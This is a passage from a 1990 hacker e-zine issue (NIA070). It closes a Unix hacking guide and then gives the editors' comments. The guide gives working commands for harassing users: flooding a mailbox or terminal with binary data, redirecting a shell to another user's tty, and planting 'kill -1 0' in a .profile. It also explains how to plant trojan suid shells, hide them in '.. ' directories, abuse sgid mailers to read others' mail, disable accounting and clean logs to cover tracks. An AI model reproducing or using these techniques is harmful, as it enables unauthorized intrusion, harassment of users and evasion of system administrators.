  10048. which YOU have access to read.  then, do this:
  10049.  
  10050. $ cat binary_file | mail loozer
  10051.  
  10052. or
  10053.  
  10054. $ mail loozer < binary file
  10055.  
  10056. That usually will spilt into 2 messages or more.  The 1st message will
  10057. have a from line.. (from you ..), but the second WILL NOT!  Since it does
  10058. not, the mail reader will keep exiting and giving him an error message until
  10059. it gets fixed..  The way to fix it is to go to the mail box that got hit
  10060. with this trick (usually only the one who got hit (or root) and do this),
  10061. and edit the file, and add a from line.. like
  10062. >From username..
  10063.  
  10064. then it will be ok.  You can screw the user by "cat"ing a binary to his tty.
  10065. say Loozer is on tty12.  You can say..
  10066. $ cat binary_file >/dev/tty12
  10067. $
  10068. It may pause for a while while it outputs it.  If you want to resume what
  10069. you were doing instantly, do:
  10070. $ cat binary_file >/dev/tty12&
  10071. [1] 4690
  10072. $
  10073. And he will probably logoff.  You can send the output of anything to his
  10074. terminal.  Even what YOU do in shell.  Like this:
  10075. $ sh >/dev/tty12
  10076. $
  10077. You'll get your prompts, but you won't see the output of any commands, he
  10078. will...
  10079. $ ls
  10080. $ banner Idiot!
  10081. $ echo Dumbass!
  10082. $
  10083. until you type in exit, or hit ctrl-d.
  10084.  
  10085.  
  10086. There are many many things you can do.  You can fake a "write" to someone
  10087. and make them think it was from somewhere on the other side of hell.  Be
  10088. creative.
  10089.  
  10090. When you are looking for things to do, look for holes, or try to get
  10091. someone to run a trojan horse that makes a suid shell.  If you get
  10092. someone to run a trojan that does that, you can run the suid, and log their
  10093. ass off by killing their mother PID.  (kill -9 whatever).  Or, you can
  10094. lock them out by adding "kill -1 0" to their .profile.  On the subject of
  10095. holes, always look for BAD suid bits.  On one system thought to be invincible
  10096. I was able to read/modify everyone's mail, because I used a mailer that had
  10097. both the GroupID set, and the UserID set.  When I went to shell from it,
  10098. the program instantly changed my Effective ID back to me, so I would not be
  10099. able to do anything but my regular stuff.  But it was not designed to change
  10100. the GROUP ID back.  The sysop had blundered there.  SO when I did an ID
  10101. I found my group to be "Mail".  Mailfiles are readble/writeable by the
  10102. user "mail", and the group "mail".  I then set up a sgid (set group id) shell
  10103. to change my group id to "mail" when I ran it, and scanned important mail,
  10104. and it got me some good info.  So, be on the look out for poor permissions.
  10105.  
  10106. Also, after you gain access, you may want to keep it.  Some tips on doing so
  10107. is:
  10108.         1. Don't give it out.  If the sysadm sees that joeuser logged in 500
  10109.            times in one night....then....
  10110.         2. Don't stay on for hours at a time.  They can trace you then. Also
  10111.            they will know it is irregular to have joeuser on for 4 hours
  10112.            after work.
  10113.         3. Don't trash the system.  Don't erase important files, and don't
  10114.            hog inodes, or anything like that.  Use the machine for a specific
  10115.            purpose (to leech source code, develop programs, an Email site).
  10116.            Dont be an asshole, and don't try to erase everything you can.
  10117.         4. Don't screw with users constantly.  Watch their processes and
  10118.            run what they run.  It may get you good info (snoop!)
  10119.         5. If you add an account, first look at the accounts already in there
  10120.            If you see a bunch of accounts that are just 3 letter abbrv.'s,
  10121.            then make yours so.  If a bunch are "cln, dok, wed" or something,
  10122.            don't add one that is "joeuser", add one that is someone's
  10123.            full initials.
  10124.  
  10125.         6. When you add an account, put a woman's name in for the
  10126.            description, if it fits (Meaning, if only companies log on to the
  10127.            unix, put a company name there).  People do not suspect hackers
  10128.            to use women's names.  They look for men's names.
  10129.         7. Don't cost the Unix machine too much money.  Ie.. don't abuse an
  10130.            outdial, or if it controls trunks, do not set up a bunch of dial
  10131.            outs.  If there is a pad, don't use it unless you NEED it.
  10132.         8. Don't use x.25 pads.  Their usage is heavily logged.
  10133.         9. Turn off acct logging (acct off) if you have the access to.
  10134.            Turn it on when you are done.
  10135.        10. Remove any trojan horses you set up to give you access when you
  10136.            get access.
  10137.        11. Do NOT change the MOTD file to say "I hacked this system" Just
  10138.            thought I'd tell you.  Many MANY people do that, and lose access
  10139.            within 2 hours, if the unix is worth a spit.
  10140.        12. Use good judgement.  Cover your tracks.  If you use su, clean
  10141.            up the sulog.
  10142.        13. If you use cu, clean up the cu_log.
  10143.        14. If you use the smtp bug (wizard/debug), set up a uid shell.
  10144.        15. Hide all suid shells.  Here's how:
  10145.            goto /usr
  10146.            (or any dir)
  10147.            do:
  10148.            # mkdir ".. "
  10149.            # cd ".. "
  10150.            # cp /bin/sh ".whatever"
  10151.            # chmod a+s ".whatever"
  10152.            The "" are NEEDED to get to the directory ..  !  It will not show
  10153.            up in a listing, and it is hard as hell to get to by sysadms if
  10154.            you make 4 or 5 spaces in there ("..    "), because all they will
  10155.            see in a directory FULL list will be .. and they won't be able to
  10156.            get there unless they use "" and know the spacing.  "" is used
  10157.            when you want to do literals, or use a wildcard as part of a file
  10158.            name.
  10159.        16. Don't hog cpu time with password hackers.  They really don't work
  10160.            well.
  10161.  
  10162.        17. Don't use too much disk space.  If you archieve something to dl,
  10163.            dl it, then kill the archieve.
  10164.        18. Basically -- COVER YOUR TRACKS.
  10165.  
  10166. Some final notes:
  10167.  
  10168. Now, I hear lots of rumors and stories like "It is getting harder to get
  10169. into systems...".  Wrong. (Yo Pheds! You reading this??).  It IS true
  10170. when you are dealing with WAN's, such as telenet, tyment, and the Internet,
  10171. but not with local computers not on those networks.  Here's the story:
  10172.  
  10173. Over the past few years, many small companies have sprung up as VARs
  10174. (Value Added Resellers) for Unix and Hardware, in order to make a fast
  10175. buck.  Now, these companies fast talk companies into buying whatever,
  10176. and they proceed in setting up the Unix.  Now, since they get paid by
  10177. the hour usaually when setting one up, they spread it out over days....
  10178. during these days, the system is WIDE open (if it has a dialin).  Get
  10179. in and add yourself to passwd before the seal it off (if they do..).
  10180. Then again, after the machine is set up, they leave the defaults on the
  10181. system.  Why?  The company needs to get in, and most VARs cannot use
  10182. unix worth a shit, all they know how to do is set it up, and that is ALL.
  10183. Then, they turn over the system to a company or business that USUALLY
  10184. has no-one that knows what they hell they are doing with the thing, except
  10185. with menus.  So, they leave the system open to all...(inadvertedly..),
  10186. because they are not competant.  So, you could usually get on, and create
  10187. havoc, and at first they will think it is a bug..  I have seen this
  10188. happen ALL to many times, and it is always the same story...
  10189. The VAR is out for a fast buck, so they set up the software (all they know
  10190. how to do), and install any software packages ordered with it (following
  10191. the step by step instructions).  Then they turn it over to the business
  10192. who runs a word processor, or database, or something, un aware that a
  10193. "shell" or command line exists, and they probably don't even know root does.
  10194. So, we will see more and more of these pop up, especially since AT&T is
  10195. now bundling a version of Xwindows with their new System V, and Simultask...
  10196. which will lead to even more holes.  You'll find systems local to you
  10197. that are easy as hell to get into, and you'll see what I mean.  These
  10198. VARs are really actually working for us.  If a security problem arises
  10199. that the business is aware of, they call the VAR to fix it... Of course,
  10200. the Var gets paid by the hour, and leaves something open so you'll get in
  10201. again, and they make more moolahhhh.
  10202.  
  10203.  
  10204. You can use this phile for whatever you want.  I can't stop you.  Just
  10205. to learn unix (heh) or whatever.  But its YOUR ass if you get caught.
  10206. Always consider the penalties before you attempt something.  Sometimes
  10207. it is not worth it, Sometimes it is.
  10208.  
  10209. This phile was not meant to be comprehensive, even though it may seem like
  10210. it.  I have left out a LOT of techniques, and quirks, specifically to get
  10211. you to learn SOMETHING on your own, and also to retain information so
  10212. I will have some secrets.  You may pass this file on, UNMODIFIED, to any
  10213. GOOD H/P BBS.  Sysops can add things to the archieve to say where
  10214. it was DL'd from, or to the text viewer for the same purpose.  This is
  10215. Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.
  10216.  
  10217. -Sir Hackalot of PHAZE
  10218. 1990.
  10219.  
  10220. =============================================================================
  10221.  
  10222.                          /                     /
  10223.                          /  File 08 / NIA070   /
  10224.                          /  Editor's Comments  /
  10225.                          /      JD & GOT       /
  10226.                          /                     /
  10227.  
  10228.  Well, sorry this one took longer than I expected as I ran into personal
  10229. problems after issue 069 and could not for a bit have totall control over
  10230. what happened.
  10231.  
  10232.  I regret to inform you that GOT can no longer help me publish this newsletter,
  10233. due to circumstances beyond his and my control.  Hopefully he will be back
  10234. and resuming editing in a few months.
  10235.  
  10236.  Any complaints may go to my address (elisem@nuchat.sccsi.com), please do
  10237. not send them anywhere else.  Submissions, questions, and comments
  10238. may be directed to elisem@nuchat.sccsi.com also.
  10239.  
  10240.  NIA can be found on the CuD Archive Server (Refer: CuD Magazine), Face To
  10241. Face BBS (Refer: 713.242.NUKE) [temporarily down], and Unholy Temple (Refer:
  10242. 408.PRI.VATE).  You can also write to my Internet address to be placed on the
  10243. mailling list and to get the current issue.
  10244.  
  10245.  Also, a message from Montresor (Refer: Face To Face BBS), the board should
  10246. be back up within the next few weeks.  Please keep checking.
  10247.  
  10248.  I thank Mike Godwin and the lawers at EFF for help in dealing with past
  10249. events.  Best of luck to ya'll.
  10250.  
  10251.   Well, there's not much more else to say, 'cept keep livin' by the Golden
  10252. Rule: Always, Always Look _Good_.
  10253.  
  10254.  
  10255.  
  10256. JD n' GOT
  10257. Ignorance, There's No Excuse.
  10258. NIA - Network Information Access
  10259. =============================================================================
  10260.